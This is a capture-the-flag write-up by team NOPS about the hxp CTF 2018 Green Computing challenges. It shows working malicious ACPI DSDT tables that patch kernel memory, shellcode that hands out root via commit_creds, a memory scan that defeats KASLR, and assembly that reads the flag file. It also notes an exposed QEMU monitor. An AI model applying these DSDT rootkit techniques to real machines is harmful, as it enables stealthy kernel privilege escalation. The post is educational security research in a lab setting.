As team NOPS
we took part to hxp CTF 2018 last weekend and
(completely unexpected for us as well) we ranked 1st!
Huge congratz to hxp for hosting such amazing CTF!
In this post we will discuss our solutions for the Green Computing
challenges. Even though Green Computing was divided in several standalone
challenges, the core idea is shared amongst all of them: implement a
"malicious" Advanced Configuration and Power Interface (ACPI
)
Differentiated System Description Table (DSDT
) to elevate privileges
and read the flag file.
The Advanced Configuration and Power Interface is an open standard,
used by operating systems to discover and configure peripherals, but
also to perform power management [1]. It mainly consists of tables,
which are passed to the kernel by the firmware. To be more precise,
the firmware passes to the kernel the Root System Description Pointer
(RSDP
) or its extended version (XSDT
). From here, the kernel is
able to locate the Root System Description Table (RSDT
) which in
turns contains pointer to all the other tables (FADT
, MADT
,
DSDT
..). These tables generally contain only configuration data. Two
of them - the Differentiated System Description Table (DSDT
) [2] and
its supplementaries Secondary System Descriptor Table (SSDT) - as well
as being declarative, can also contains ACPI machine language byte
code (AML
). This bytecode is run by the kernel inside a virtual
machine (!), and it is used, for example, during the initialization of
a device.
Even if this whole mechanism has been defined "a complete design
disaster in every way" by its creator, the Linux kernel well supports
this standard and it also gives the users the possibility to load
their own DSDT
s - since the one contained in the firmware might be
buggy. The user supplied DSDT
can both be embedded inside the kernel
binary during compilation, but also placed under
/sys/firmware/acpi/tables/
.
If you check you kernel logs, you can see these tables are loaded by the ACPI subsystem in the very early stages of kernel startup. Here is an example taken from my laptop:
pagabuc@kay:~$ sudo dmesg | grep "ACPI:" | head [ 0.000000] ACPI: Early table checksum verification disabled [ 0.000000] ACPI: RSDP 0x000000006FFFE014 000024 (v02 LENOVO) [ 0.000000] ACPI: XSDT 0x000000006FFAC188 00011C (v01 LENOVO TP-N24 00001180 PTEC 00000002) [ 0.000000] ACPI: FACP 0x000000006FFE1000 0000F4 (v05 LENOVO TP-N24 00001180 PTEC 00000002) [ 0.000000] ACPI: DSDT 0x000000006FFBA000 022288 (v02 LENOVO SKL 00000000 INTL 20160527) ...
A nice feature of AML byte code is that it is fully decompilable
using open source tools (on Debian they can be found in
acpica-tools
). For example to see what the AML code of your machine
looks you can use iasl
, the ACPI Source Language compiler/decompiler:
pagabuc@kay:~$ sudo cat /sys/firmware/acpi/tables/DSDT > /tmp/DSDT pagabuc@kay:~$ cd /tmp/ pagabuc@kay:/tmp$ iasl -d DSDT Intel ACPI Component Architecture ASL+ Optimizing Compiler/Disassembler version 20181031 Copyright (c) 2000 - 2018 Intel Corporation Input file DSDT, Length 0x22288 (139912) bytes ACPI: DSDT 0x0000000000000000 022288 (v02 LENOVO SKL 00000000 INTL 20160527) Pass 1 parse of [DSDT] Pass 2 parse of [DSDT] Parsing Deferred Opcodes (Methods/Buffers/Packages/Regions) Parsing completed Disassembly completed ASL Output: DSDT.dsl - 976730 bytes pagabuc@kay:/tmp$ less DSDT.dsl
Since the challenge is based on QEMU,
here
you can find the decompiled version of its default DSDT
. We will
not go into all the details of it - because it's a real mess - but its
structure is pretty clear. The file starts with a definition block:
DefinitionBlock ( "acpi-dsdt.aml", // Output Filename "DSDT", // Signature 0x01, // DSDT Compliance Revision "BXPC", // OEMID "BXDSDT", // TABLE ID 0x1 // OEM Revision )
This block contains the filename where the compiled version of the
DSDT
will be placed, the "DSDT" signature and revision, and a number of
fields that contains information about the vendor (which turned out
to be quite important, but more on this later).
Then a number of Scope
s and Device
s are declared, in a tree-like
structure. Inside each of this declarations we can find Methods
,
which finally contains "non declarative" ASL code. This code somehow
resembles "higher-level" programming languages: we have variable
declaration (Name
), if statements, for and while loop. Under the ASL
Operation Reference paragraph of the
specification
it is possible to find all the operators and their signatures.
At this point you should have all the basics to understand the
challenges, so if you are enjoying this post read further to
understand how a malicious DSDT
can tamper with a running kernel!
When we started working on the challenges only two of them were
actually open: Green Computing 1
and Green Computing 1 - fixed
.
After a while a third and last one, Green Computing 2
was released.
To start solving this challenge we applied the first rule of CTFing:
whenever the orgas release a fixed version of challenge, you should
always throw diff
against it, because it may contain an unintended
and easier solution!
First of all, all the challenges came with a bunch of files:
bzImage
(contains the compressed version of vmlinux
)
init_censored.cpio
(an archive which contains files and directory)
pow-solver.cpp
(used for rate-limiting)
run.py
(the file that setups and run QEMU)
The content of run.py
(stripped down of the imports but not on the
funny comment) is the following:
# Damn Chinese nation-state-level hackers added a tiny chip here :/ # Seems like they are injecting ACPI tables to save electricity O_O # Please inform Bloomberg tmp_dir = tempfile.mkdtemp(prefix='green_computing_', dir='/tmp') os.chdir(tmp_dir) os.makedirs('kernel/firmware/acpi') with open('kernel/firmware/acpi/dsdt.aml', 'wb') as f: b = base64.b64decode(sys.stdin.readline(32 * 1024).strip()) if b[:4] != b'DSDT': b = b'' f.write(b) os.system('find kernel | cpio -H newc --create --owner 0:0 > tables.cpio') os.system('cat tables.cpio /home/ctf/init.cpio > init.gz') os.system('qemu-system-x86_64 --version') print('Booting ...\n', flush=True) cmd = "qemu-system-x86_64 -m 1337M -kernel /home/ctf/bzImage -initrd init.gz -append 'console=ttyS0 nokaslr panic=-1' -nographic -no-reboot" os.system(cmd)
As we can see, it indeed expects on the standard input a base64
encoded DSDT
. The decoded version is then stored in init.gz
which in
turns is passed to QEMU.
The result of diff
is instead showed below:
pagabuc@kay:~/Downloads/tmp$ diff -r Green\ Computing\ 1 Green\ Computing\ 1\ -\ fixed Binary files Green Computing 1/init_censored.cpio and Green Computing 1 - fixed/init_censored.cpio differ diff -r "Green Computing 1/run.py" "Green Computing 1 - fixed/run.py" 28c28 < cmd = "qemu-system-x86_64 -m 1337M -kernel /home/ctf/bzImage -initrd init.gz -append 'console=ttyS0 nokaslr panic=-1' -nographic -no-reboot" --- > cmd = "qemu-system-x86_64 -monitor /dev/null -m 1337M -kernel /home/ctf/bzImage -initrd init.gz -append 'console=ttyS0 nokaslr panic=-1' -nographic -no-reboot"
Apparently the challenge author forgot to add -monitor /dev/null
to
the QEMU invocation, which means that we can access the QEMU monitor
on remote by entering Ctrl+a c
!
Flaaaag? Not that fast! We actually failed hard to dump the memory out of QEMU and lost a good couple of man-hours trying to figure out why. In the end we were not able to, and decided to just switch to the fixed version and come back later on this one when we have had a working exploit :-)
Malicious DSDT
s have been extensively studied both from academia and
industry [3, 4, 5, 6]. The fundamental idea behind this works is that
a DSDT
can specify OperationRegion
s, which can read and write
from/to different Space
s. One of them, SystemMemory
, is
particularly appealing for malicious actors because it represents the
memory space where, for example, kernel code is loaded. Another good
news is that, since we are talking about physical memory, no paging is
involved and thus every page of memory writable, including the kernel
text itself!
The following, is the "hello world" of DSDT rootkits, as presented by Heasman at BlackHat EU 2006 [4]:
OperationRegion(SEAC, SystemMemory, 0xC04048, 0x1) Field(SEAC, AnyAcc, NoLock, Preserve) { FLD1, 0x8 } Store (0x0, FLD1)
This code defines an OperationRegion
mapped in the SystemMemory
space, starting at 0xC04048
and with size 1 byte. Since
OperationRegion
s can not be accessed direcly, it then defines a
Field
- which basically contains the layout of the OperationRegion
.
Finally, with the Store
operation, it writes the byte '0x0' to the
first byte of the OperationRegion
.
Time to warm our hearts with a "FLAAAG" shout? Once again, not that fast! At this point we lost a good amount of time trying to figure out why our pretty simple ASL code seemed to not be executed. The kernel was finding our table, but instead of overriding the new one, it was simply "installing" it, along with the default one. This was also supported by the following message found in the kernel logs:
ACPI: Table Upgrade: install [DSDT- BOCH-BXPCDSDT]
It turned out that a requisite for overriding the default table is
that the new one has the very same OEM ID
, OEM Table ID
and a
version greater than the one already installed. This checks are
implemented in drivers/tables/acpi.c
:
/* Only override tables matched */ if (memcmp(existing_table->signature, table->signature, 4) || memcmp(table->oem_id, existing_table->oem_id, ACPI_OEM_ID_SIZE) || memcmp(table->oem_table_id, existing_table->oem_table_id, ACPI_OEM_TABLE_ID_SIZE)) { acpi_os_unmap_memory(table, ACPI_HEADER_SIZE); goto next_table; } /* * Mark the table to avoid being used in * acpi_table_initrd_scan() and check the revision. */ if (test_and_set_bit(table_index, acpi_initrd_installed) || existing_table->oem_revision >= table->oem_revision) { acpi_os_unmap_memory(table, ACPI_HEADER_SIZE); goto next_table; }
By double checking our DefinitionBlock
we noticed that indeed we
were missing a space in both the OEM
and Table
IDs! So after
fixing these fields, we tried to recompile and got this error:
table.dsl 21: DefinitionBlock ("acpi-dsdt.aml", "DSDT", 1, "BOCHS ", "BXPCDSDT ", 0x00000002) Error 6155 - Invalid OEM Table ID ^ (Length cannot exceed 8 characters)
Long story short, the check on the length was not enforced by older
iasl
compilers, while it was on the version we had on our systems
(20181031
). After recompiling the DSDT with the older compiler, and
feed it to QEMU we were finally greeted with this message:
ACPI: Table Upgrade: override [DSDT-BOCHS -BXPCDSDT] ACPI: DSDT 0x00000000538E0040 Physical table override, new table: 0x00000000538DB000 ACPI: DSDT 0x00000000538DB000 001643 (v01 BOCHS BXPCDSDT 00000002 INTL 20160108)
Almost there! The last problem was that we had no clue on how to
trigger our ASL code. Usually this is run when the lid of laptop is
closed, or to adjust the speed of the fan. On a remote QEMU instance it
seemed pretty infeasible to trigger such events. By looking once more
in the specification we found out that methods named _INI
are run
when a table is loaded, and by quickly compiling a test we
finally saw our modifications appear in the kernel text!
So at this point we can overwrite any part of the kernel code, but
what to write? In such a scenario there are several ways to
proceed. For example, Tasteless [7] went for an elegant 2-bytes patch
in the sys-setuid
syscall, to basically transform it in a
commit_creds(prepare_creds(0))
syscall. What we decided to do is
instead to overwrite the not-implemented-syscall handler
(sys_ni_syscall
) and place there the standard
prepare_creds
+commit_creds
:
mov rdi, 0 mov rax, 0xffffffff8104adc0 # prepare_creds call rax mov r10, 0xffffffff8104ac20 # commit_creds mov rdi, rax call r10 ret
In this way, whenever a program executes an invalid syscall it
automagically gets root privileges! Since call immediate
in x86 are
relative to the current instruction pointer, we loaded the target in a
register and then used the call reg
instructions. Later we figured
out that pwntools.asm
actually has a vma
parameter, so the assembler
can automatically emit the right offsets, thus a call imm
would
work. Since the kernel is booted with the nokaslr
option, we
retrieved the function addresses from the /proc/kallsysm
file of a
machine running locally.
And finally, here is our DSDT
method that takes care of inserting
our malicious payload:
DefinitionBlock ("acpi-dsdt.aml", "DSDT", 1, "BOCHS ", "BXPCDSDT ", 0x00000002) ... Method (_INI, 0, NotSerialized) { OperationRegion (HPTM, SystemMemory, 0x1049d50, 0x0400) Field (HPTM, DWordAcc, Lock, Preserve) { VEND, 300, } Store (Buffer(29){0x48,0xc7,0xc7,0x0,0x0,0x0,0x0,0x48,0xc7,0xc0,0xc0,0xad,0x4,0x81,0xff,0xd0,0x49,0xc7,0xc2,0x20,0xac,0x4,0x81,0x48,0x89,0xc7,0x41,0xff,0xd2,0xc3}, VEND) }
At this point we thought we had to upload a binary to call an unimplemented syscall, but apparently our parent already took care of that. So we were greeted with a root shell and our well-deserved flag(s)!
This challenge was very similar to the previous ones, except of a few
things that complicate the matter. First of all, this time the kernel
was booted with kaslr
which - at least on x86_64
- randomizes both
the virtual and the physical address space. Second, init
does not
execute a shell but only a binary which prints a string and immediately
reboots the machine. Third but not least, the kernel is booted with
quiet
, which means we will not be able to print our flag using
printk
.
To overcome the first issue we wrote a DSDT
method (SRCH
) to scan
the memory and find the location of sys_reboot
, by pattern matching
the first bytes of this function. At first, we believed our code was
not working because of some timeouts in kernel. For this reason we
also wrote another method (ZERA
) to skip memory regions containing
all zeros:
Method (ZERA, 1){ OperationRegion (HPTM, SystemMemory, Arg0, 0x200) Field (HPTM, DWordAcc, Lock, Preserve){ VENA, 8, VENB, 8, .... } NAME(PTR, 5) Store(VENA, PTR) if(LNotequal(PTR, 0x00)) { Return(1) } Store(VENB, PTR) if(LNotequal(PTR, 0x00)) { Return(1) } ... Return(0) } Method (SRCH, 1){ OperationRegion (HPTM, SystemMemory, Arg0, 0x200) Field (HPTM, DWordAcc, Lock, Preserve){ VENA, 8, VENB, 8, ... } NAME(PTR, 5) Store(VENA, PTR) if(LNotequal(PTR, 0x55)) { Return(0) } Store(VENB, PTR) if(LNotequal(PTR, 0x48)) { Return(0) } ... Return(1) } Method (_INI, 0, NotSerialized){ Name(CNT, 0x1000b2b0) While(LLess(CNT,0xfea2b2b0)){ if(LEqual(ZERA(CNT), 0)){ ADD(0x100000, CNT, CNT) Continue } if(LEqual(SRCH(CNT),1)){ HNG(CNT) Break } ADD(0x1000, CNT, CNT) } ...
As a side note, after the competition ended, we talked to the challenge author and apparently there is no timeout whatsoever, which means our code was buggy :)
After locating sys_reboot
we injected code to open (filp_open
) and
read (kernel_read
) the flag file. At first we were trying to read
the file using vfs_read
, but no matter what, it was always returning
us EFAULT
(Bad Address). It turned out that vfs_read
expects the
destination buffer to be in userspace, while we were passing a kernel
address. After a bit of grep
ing in the kernel code base we found the
kernel_read
function, which takes care of temporarily overwriting
the fs
segment register:
ssize_t kernel_read(struct file *file, void *buf, size_t count, loff_t *pos) { mm_segment_t old_fs; ssize_t result; old_fs = get_fs(); set_fs(get_ds()); /* The cast to a user pointer is valid due to the set_fs() */ result = vfs_read(file, (void __user *)buf, count, pos); set_fs(old_fs); return result; }
To find the addresses of the functions we want to call - since this
kernel was coming with any kallsysms
- we matched the first bytes of
the functions from Green Computing 1
. At this point we had the
content of flag in memory, but remember that printk
is disabled, so
we need another way to exfiltrate the flag. After more than 24+ of no
sleep and less than 1 hour to go, we had the idea of loading the
content of the flag into the registers, because when the kernel
crashes, it prints a trace dump. And from this trace dump folks, is
where we retrieved our beloved flag - only 15 minutes before the end
of the competition!
Finally, here is the full payload we injected into sys_reboot
:
[/code]
mov rdi, 0x100 call 0xffffffff810a1eb0 # kmalloc push rax lea rdi, flag[rip] xor rsi, rsi xor rdx, rdx call 0xffffffff810a6f60 # filp_open mov rdi, rax pop rsi mov rdx, 50 mov rcx, rsi add rcx, 0x80 push rsi call 0xffffffff810a8550 # kernel_read # Leaking the flag in registers pop rsi mov rax, [rsi] add rsi, 8 mov rbx, [rsi] add rsi, 8 mov rcx, [rsi] add rsi, 8 ... flag: .asciz "/flag"
Solving these challenges was really a blast, and we learned tons of stuff we didn't knew about before. So huge kudos the whole hxp team for running an amazing CTF, and in particular to 0xbb for creating Green Computing!
[1] https://wiki.osdev.org/ACPI
[2] https://wiki.osdev.org/DSDT
[3] https://pdfs.semanticscholar.org/4c3a/188fba68d88265e1f2be06faa253551195ec.pdf
[4] https://www.blackhat.com/presentations/bh-europe-06/bh-eu-06-Heasman.pdf
[5] https://www.scribd.com/document/395378945/358254445-ACPI-Implants-Ruxmon-Presentation
[6] https://bitbucket.org/2econd_Project/acpi-rootkit-scan/src
[7] https://tasteless.eu/post/2018/12/hxp-green-computing/
published on 2018-12-10 by pagabuc, mpuzz